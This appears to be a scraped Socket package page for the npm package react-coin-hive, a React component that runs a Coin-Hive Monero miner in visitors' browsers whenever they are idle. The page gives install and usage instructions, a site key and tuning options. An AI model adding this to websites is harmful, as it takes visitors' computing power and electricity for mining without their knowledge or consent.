![require(esm) Backported to Node.js 20, Paving the Way for ESM-Only Packages](https://cdn.sanity.io/images/cgdhsj6q/production/be8ab80c8efa5907bc341c6fefe9aa20d239d890-1600x1097.png?w=400&fit=max&auto=format)
Security News
require(esm) Backported to Node.js 20, Paving the Way for ESM-Only Packages
require(esm) backported to Node.js 20, easing the transition to ESM-only packages and reducing complexity for developers as Node 18 nears end-of-life.
react-coin-hive
Advanced tools
Mine cryptocurrency while your users haven’t engaged with your content lately
Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
This uses Coin-Hive to mine Monero (XMR).
npm install --save react-coin-hive
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
siteKey
: Your Coin-Hive Site Key.
timeout
: How long before considering that the user is idle in milliseconds. Default is 30000
.
userName
: If used, the miner will be created with CoinHive.User(siteKey, userName)
. By default the miner is created with CoinHive.Anonymous(siteKey)
.
threads
: The number of threads the miner should start with. Default is 2
.
throttle
: The fraction of time that threads should be idle. Default is 0
.
onInit
: A function that takes the miner
instance as argument. It's called when the miner is created.
onStart
: A function that takes the miner
instance as argument. It's called every time the miner is started.
onStop
: A function that takes the miner
instance as argument. It's called every time the miner is stopped.
I have nothing to do with coin-hive.com
FAQs
Mine cryptocurrency while your users haven’t engaged with your content lately
The npm package react-coin-hive receives a total of 5 weekly downloads. As such, react-coin-hive popularity was classified as not popular.
We found that react-coin-hive demonstrated a not healthy version release cadence and project activity because the last version was released a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Security News
require(esm) backported to Node.js 20, easing the transition to ESM-only packages and reducing complexity for developers as Node 18 nears end-of-life.
Security News
PyPI now supports iOS and Android wheels, making it easier for Python developers to distribute mobile packages.
Security News
Create React App is officially deprecated due to React 19 issues and lack of maintenance—developers should switch to Vite or other modern alternatives.